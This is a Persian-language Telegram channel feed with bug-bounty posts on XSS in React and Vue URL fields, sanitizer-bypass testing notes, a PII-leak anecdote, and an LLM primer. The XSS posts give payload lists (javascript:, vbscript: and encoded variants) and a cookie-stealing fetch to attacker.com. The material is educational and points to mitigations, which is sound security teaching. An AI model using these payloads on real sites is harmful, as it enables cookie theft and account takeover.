webSociety
229 subscribers
5 photos
7 videos
3 files
49 links
Download Telegram
این گیت هاب موارد مربوط به اصول اولیه ساخت عامل هوش مصنوعی یا ایجنت رو پوشش داده ، هر درس موضوع مربوط به خودش .

https://github.com/microsoft/ai-agents-for-beginners
توی وبسایت های spa مثل React و Vue به صورت پیش فرض مکانیزم هایی برای جلوگیری از xss وجود داره . نقاطی که از کاربر درخواست لینک یا ادرس وبسایت میشه (مثلا توی پروفایل، بخش لینک‌ ها، یا فیلدهای URL) ممکنه اسیب پذیری xss وجود داشته باشه .

ورودی ها ( همین نقاطی که لینک میگیرن ) معمولا توی تگ <a> با ویژگی href قرار میگیرن و اگه توسعه دهنده/برنامه نویس اعتبارسنجی مناسبی براش قرار نداده باشه مهاجم میتونی بجای ادرس معمولی ( https://example.com ) از یه javascript: به عنوان url استفاده کنه که باعث اجرای کد جاوااسکریپت توی صفحه بشه.

محافظت پیش فرض توی spa ها
توی فریم ورک های مدرن مقادیر نمایش داده شده توی {{ }} ( vue ) و { } ( react ) به صورت خودکار escape میشن ، یعنی کاراکتر های خاص مثل < , > , & به موجودیت های html تبدیل میشن و کد اجرا نمیشه ، اما این مورد (‌ محافظتشون ) همیشه توی همه جا یکسان نیست .

سناریو های اصلی xss توی spa ها با ورودی url
1. استفاده از dangerouslySetInnerHTML توی ( react ) و v-html توی ( vue )
این ویژگی به برنامه نویس ها اجازه میده تا html خام رو توی صفحه قرار بدن ، اگه ورودی کاربر توی این sink ها قرار بگیره مهاجم میتونه از تگ های <script> یا event handler ها استفاده کنه/تزریق کنه ( مثل onload ) .
مثال توی react :
function UserProfile({ user }) {
return (
<div dangerouslySetInnerHTML={{ __html: user.website }} />
);
}

اگه کاربر به عنوان وبسایت <img src=x onerror=alert(1)> رو ارسال کنه کد اجرا میشه .

2.قرار دادن ورودی توی ویژگی href تگ <a>
این مورد بیشتر اتفاق میوفته . وقتی برنامه نویس مقدار ورودی کاربر رو توی href یک لینک قرار میده ممکنه مهاجم از پروتکل javascript: استفاده کنه
مثال توی react:
<a href={user.website}>وب‌سایت من</a>

اگه کاربر مقدار javascript:alert('XSS') رو وارد کنه با کلیک روی لینک کد اجرا میشه
توی vue :
<a :href="user.website">وب‌سایت من</a>


دلیلش :
مرورگر ها وقتی با javascript: توی href مواجه میشن محتوای بعد از دو نقطه رو به عنوان کد جاوا اسکریپت تفسیر میکنن و اجرا میکنن .

روش جلوگیری :
اعتبارسنجی URL: بررسی بشه که پروتکل http:// یا https:// باشه و پروتکل‌ های خطرناک مثل javascript:، data:، vbscript: رد بشن .

استفاده از کتابخانه‌های sanitize: مثل DOMPurify برای پاک‌سازی ورودی‌های HTML ( نسخه های قدیمی این کتاب خونه/ابزار هم اسیب پذیرن پس نسخه جدید باید باشه ) .

تعیین پروتکل پیش‌فرض: اگه کاربر پروتکل وارد نکرد، https:// به اول آدرس اضافه بشه.

استفاده از <a> با rel="noopener noreferrer" و target="_blank" (اینا از XSS جلوگیری نمیکنن، فقط برای امنیت لینک هستن).


مثال باگ :
فرض کنیم یه وبسایت از react استفاده میکنه و توی صفحه پروفایل کاربر قسمت/گزینه/فیلد وبسایت وجود داره ، اگه برنامه نویس از کد زیر استفاده کرده باشه :
<a href={profile.website} target="_blank">{profile.website}</a>

مهاجم میتونه توی وبسایت این مورد رو قرار بده :
javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)

و وقتی روی لینک کلیک بشه یا خودکار باز بشه کوکی دزدیده میشه/قاچاق میشه/سرقت رفته میشه 🗿👍🏻 .


تست کیس برای این مورد :
کلا دنبال بخش هایی که از کاربر url میگیرن یا کلا url دارن یا توی پارامتر فاز هاتون این مورد رو تست کنید .
۱. پروفایل کاربر
۲.بخش لینک های مفید/راهنما
۳. کامند ها یا قسمت پیام به ادمین
۴.تنظیمات وبسایت

ورودی هایی که میتونید قرار بدید ( پیلود ها )‌ :
javascript:alert(document.domain)
javascript:alert('XSS')
JaVaScRiPt:alert(1)
و هر چیز دیگه ای

( اسیب پذیری های دیگه ای که میتونید با این ترکیب/chan کنید یا کلا روی این بخش تست کنید :‌
1. ssrf
2. csrf
3. xsrf
4. و الی اخر .
)


جم بندی :
فیلد های URL توی SPA ها به دلیل قرارگیری توی href یا استفاده نادرست/غلط از dangerouslySetInnerHTML/v-html میتونن موجب به XSS بشن. درک این مورد به شما کمک میکنه تا توی تست‌ ها نقاط ضعف و سریع‌ تر پیدا کنید.
خبرا زیاده ، فعلا ریپلیس نشدیم 🗿🤝
سلام دوستان، چطورید؟

این اواخر یه باگ جالب و خیاری زدم، گفتم بیام اینجا هم یه پستی راجع‌بهش بذارم. 😂

سایت مورد نظرمون از این پلتفرم‌هایی بود که فروشنده‌ها می‌تونستن فروشگاه خودشون رو Sign Up کنن و محصولاتشون رو بفروشن.

این سایت با React بالا اومده بود که تو ۹۰ درصد مواقع تو سورس کدش فقط JSهایی هستن که دارن ایمپورت می‌شن. حالا باگ چی بود؟

وقتی رفتم تو قسمت فروشگاه‌ها، سورس کد رو باز کردم، دیدم زندگینامه فروشنده رو گذاشتن اونجا (کد ملی، شماره شبا، شماره تماس و کلی چیز دیگه) و اینجوری بود که با یه Ctrl+U یه PII زدم.

خلاصه که خالی از لطف نیست هرجا رسیدید یه Ctrl+U بزنید :)

#Morvane
webSociety
Fake productivity, my home setup sucks, and Meetly : https://aituglo.com/aituweek-90/
این fake productivity بد ترپه
حواستون بهش باشه
اسکیم های دیگه ای که میتونید برای اجرای js استفاده کنید :‌

ecmascript:alert(1)

vbscript:alert(1)

livescript:alert(1)
مدل زبانی ( LLM ) چیه ؟


یک مدل زبانی بزرگ در واقع نمونه تخصصی از مدل های پایه ای یا همون Foundation Models هست .

ویژگی داده ها: این مدل ها روی حجم عظیمی از داده های بدون برچسب و به روش خود نظارتی اموزش میبینن ، یعنی خود مدل بدون نیاز به راهنمایی انسان ، الگوهای درون داده ها رو کشف میکنه .

مقیاس داده ها: حجم این داده ها اونقدر زیاده که با واحد پتابایت اندازه گیری میشه . برای درک بهتر : ۱ گیگابایت متن حدود ۱۷۸ میلیون کلمه هست و هر ۱ میلیون گیگابایت برابر ۱ پتابایت میشه . برای مثال ، مدل GPT-3 روی ۴۵ ترابایت داده متنی اموزش دیده .

پارامترها چی هستن؟ پارامترها مقادیری در داخل مدل هستن که هوش مصنوعی موقع یادگیری میتونه اونها رو به صورت مستقل تغییر بده تا دقیق تر بشه . هرچی تعداد پارامتر بالاتر باشه ، مدل پیچیده تر و باهوش تر هست ، برای مثال GPT-3 حدود ۱۷۵ میلیارد پارامتر داره .

این مدل‌ها چطور کار میکنن؟



اگه بخوایم خلاصه بگیم ، فرمول ساخت یک LLM از سه تا ضلع تشکیل شده : داده + معماری + اموزش . حالا اینا چطور کنار هم قرار میگیرن؟

معماری ترنسفورمر (Transformer): هسته اصلی شبکه عصبی این مدل ها ، ساختاری به اسم ترنسفورمر هست . این معماری به هوش مصنوعی اجازه میده تا رشته های متنی ( مثل جملات یا خطوط کد ) رو پردازش کنه . ویژگی خفن ترنسفورمر اینه که بافت و مفهوم هر کلمه رو در رابطه با تمام کلمات دیگه موجود در اون جمله درک میکنه ، اینجوری میتونه معنای دقیق و ساختار جمله رو بفهمه .

مراحل اموزش و پیش ‌بینی: در طول فرآیند اموزش ، هدف اصلی مدل اینه که « کلمه بعدی در یک جمله » رو پیش بینی کنه . مدل اولش با حدس های کاملاً تصادفی و اشتباه شروع میکنه ( مثلاً برای جمله « آسمان ... است » اول حدس میزنه « حشره » ) ، اما در هر تکرار ، پارامترهای داخلی خودش رو تنظیم میکنه تا فاصله حدس خودش رو با کلمه واقعی ( یعنی « آبی » ) به حداقل برسونه . مدل اونقدر این کار رو تکرار میکنه تا بتونه جملات کاملاً منطقی بسازه .

تنظیم دقیق یا Fine-Tuning: بعد از اینکه اموزش عمومی مدل تموم شد ، میشه اون رو روی یک مجموعه داده کوچیک تر و تخصصی تر قرار داد تا برای انجام یک کار مشخص ( مثل کارهای پزشکی یا حقوقی ) کاملاً ماهر و به اصطلاح متخصص بشه .

کاربرد های تجاری LLM ها چیه؟


کمپانی ها و کسب و کارها به شکل های مختلفی دارن از این فناوری استفاده میکنن :

خدمات مشتریان: ساخت چت بات های هوشمند که میتونن انواع سوالات مشتری ها رو تحلیل کنن و جواب بدن . این کار باعث میشه وقت نیروهای انسانی برای حل مسائل پیچیده تر آزاد بشه و ... .

تولید محتوا: کمک به نوشتن مقالات ، ایمیل های کاری ، پست های شبکه های اجتماعی و حتی سناریوی ویدئو های یوتیوب .

توسعه نرم‌افزار: کمک به برنامه نویس ها برای تولید خودکار کدها و بررسی و بازبینی کدهای نوشته شده برای پیدا کردن باگ ها .

تست نفوذ و امنیت: کمک به امنیت کار ها برای نوشتن و بهینه سازی و ... اسکریپت های تست و نفوذ و الی اخر، بررسی خودکار سورس کد ها برای پیدا کردن آسیب پذیری ها و تحلیل سریع لاگ های شبکه برای کشف رفتار های مشکوک و ... .
These are the schemes currently allowed in the href attribute:
gopher:
ftp:
http:
https:
mailto:

If I use:
<a href="qwe:test;//https%0aqwe@gmail.com">

it gets sanitized in the response to:
<a rel="nofollow ugc">

However, using an allowed scheme such as gopher: works as expected:
<a href="gopher:test;//https%0aqwe@gmail.com" rel="nofollow ugc">

I also tested:
<a href="javascriptalert;//https%0aqwe@gmail.com">

which is preserved as:
<a href="javascriptalert;//https%0aqwe@gmail.com" rel="nofollow ugc">

But as soon as I add the colon:
<a href="javascript:alert;//https%0aqwe@gmail.com">

the href is removed:
<a rel="nofollow ugc">

I also tested whitespace/control-character variations:
java\tscript
java\rscript
java\nscript

None of them bypassed the checker function.
I additionally tested HTML entity encodings for the colon:
<a href="javascript&colon;alert(document.domain)">xss test!</a>
<a href="javascript&#58;alert(document.domain)">xss test!</a>
<a href="javascript&#x3A;alert(document.domain)">xss test!</a>

Those did not bypass the checker either.